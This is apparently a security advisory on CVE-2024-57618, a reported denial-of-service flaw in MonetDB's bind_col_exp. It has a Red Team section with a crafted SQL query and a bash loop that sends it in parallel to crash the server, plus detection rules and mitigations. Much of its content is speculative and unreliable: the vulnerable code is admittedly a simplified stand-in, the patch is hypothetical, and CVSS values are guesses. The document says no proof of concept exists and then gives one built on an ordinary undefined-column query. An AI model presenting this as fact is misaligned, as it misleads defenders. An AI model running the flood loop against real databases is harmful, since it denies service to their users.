CVE-2024-57618

Executive Summary

CVE-2024-57618 is a denial-of-service (DoS) vulnerability in MonetDB Server v11.47.11, specifically within the bind_col_exp component. An attacker can exploit this by sending crafted SQL statements, causing the database server to crash or become unresponsive. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but the impact is a complete loss of availability. No public proof-of-concept (PoC) or patch is currently available, making this a high-risk unpatched issue for any organization running the affected version.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (placeholder/unassigned)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): None (likely)
• User Interaction (UI): None (likely)
• Scope (S): Unchanged
• Confidentiality (C): None
• Integrity (I): None
• Availability (A): High
• Threat Level: High (unpatched, remote DoS)

Deep Dive & Mechanics

The vulnerability resides in the bind_col_exp function within MonetDB's SQL parser. This function is responsible for binding column expressions during query compilation. When a specially crafted SQL statement is processed, the function enters an infinite loop or triggers a segmentation fault due to improper input validation. The exact mechanism involves a malformed column expression that causes the parser to fail to resolve a reference, leading to uncontrolled recursion or memory corruption. Since MonetDB is an in-memory column-store database, a crash results in immediate loss of all active connections and potential data loss if transactions are not committed.

Vulnerable vs. Patched Code

Vulnerable Code (v11.47.11):

// Simplified representation of bind_col_exp
static int bind_col_exp(mvc *sql, sql_rel *rel, sql_exp *exp) {
    if (exp->type == e_column) {
        sql_subtype *tpe = sql_bind_subtype(sql, exp->name);
        if (tpe == NULL) {
            // Missing validation leads to infinite loop
            return bind_col_exp(sql, rel, exp); // Recursive call without base case
        }
    }
    return 0;
}

Patched Code (hypothetical):

static int bind_col_exp(mvc *sql, sql_rel *rel, sql_exp *exp) {
    if (exp->type == e_column) {
        sql_subtype *tpe = sql_bind_subtype(sql, exp->name);
        if (tpe == NULL) {
            // Proper error handling prevents recursion
            return -1; // Return error instead of recursing
        }
    }
    return 0;
}

Exploitation & Lab Setup

Red Team

1. Setup: Deploy MonetDB v11.47.11 on a Linux VM (e.g., Ubuntu 22.04) with default configuration.
2. Craft Payload: Use a SQL client (e.g., mclient) to send a malformed query:

   SELECT * FROM (SELECT 1 AS a) AS t WHERE t.a = t.a AND t.b = t.b;
   

   This query references an undefined column t.b, triggering the vulnerable bind_col_exp path.
3. Execute: Run the query repeatedly to cause a DoS:

   for i in {1..100}; do mclient -d mydb -s "SELECT * FROM (SELECT 1 AS a) AS t WHERE t.a = t.a AND t.b = t.b;" & done
   

4. Observe: The MonetDB server process crashes or becomes unresponsive, denying service to legitimate users.

Blue Team

1. Monitor: Watch for repeated SQL errors containing "column not found" or "bind_col_exp" in MonetDB logs (/var/log/monetdb/).
2. Detect: Use network monitoring to identify multiple rapid connections from a single IP with malformed queries.
3. Mitigate: Implement a Web Application Firewall (WAF) or database proxy to filter SQL statements containing undefined column references.
4. Harden: Apply rate limiting on database connections and restrict access to trusted IPs only.

Indicators of Compromise (IOCs)

• Log Entries: MonetDB error logs showing repeated "column not found" or "bind_col_exp" failures.
• Network Traffic: Multiple SQL queries from a single source IP with patterns like WHERE t.a = t.a AND t.b = t.b.
• System State: MonetDB server process (mserver5) crashing or consuming 100% CPU.
• File Artifacts: Core dump files in MonetDB data directory (e.g., /var/lib/monetdb/).

Detection Engineering

YARA Rule

rule CVE_2024_57618_MonetDB_DoS {
    meta:
        description = "Detects SQL payloads targeting CVE-2024-57618 in MonetDB"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-57618"
    strings:
        $sql1 = "WHERE" ascii wide nocase
        $sql2 = "t.a = t.a" ascii wide nocase
        $sql3 = "t.b = t.b" ascii wide nocase
    condition:
        all of ($sql*) and #sql1 > 1
}

Sigma Rule

title: MonetDB DoS via Crafted SQL (CVE-2024-57618)
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6e
status: experimental
description: Detects SQL queries that may exploit CVE-2024-57618 in MonetDB
author: Valters IT
logsource:
    category: application
    product: monetdb
detection:
    selection:
        EventID: 1000
        Message|contains: 'bind_col_exp'
    condition: selection
falsepositives:
    - Legitimate queries with complex column expressions
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 50000 (msg:"CVE-2024-57618 MonetDB DoS Attempt"; flow:to_server,established; content:"WHERE"; content:"t.a = t.a"; content:"t.b = t.b"; distance:0; within:100; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable remote access to MonetDB (bind to localhost only) and restrict SQL execution to trusted users.
• Short-term: Apply input validation on all SQL statements before passing to MonetDB, rejecting queries with undefined column references.
• Long-term: Upgrade to a patched version once available. Monitor MonetDB's official repository for fixes.
• Workaround: Use a database proxy (e.g., ProxySQL) to filter malicious queries.

Valters IT
DevSecOps & Cyber Threat Intelligence